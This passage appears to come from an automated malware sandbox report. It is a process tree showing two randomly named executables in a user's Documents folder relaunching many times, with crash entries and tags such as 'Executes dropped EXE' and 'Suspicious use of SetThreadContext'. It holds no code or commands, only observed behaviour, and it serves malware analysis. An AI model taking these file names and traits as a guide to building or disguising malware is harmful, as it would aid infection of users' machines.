C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13552 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 684 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 16504 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 20204 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 23780 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 29136 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 24392 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 22888 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exeC:\Users\Admin\Documents\HPtdGkvgCwJkk5NKbwdbNFdQ.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe"C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8088 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
C:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exeC:\Users\Admin\Documents\pHrjFn0JghHcSzNSYVgSAwye.exe3⤵
-
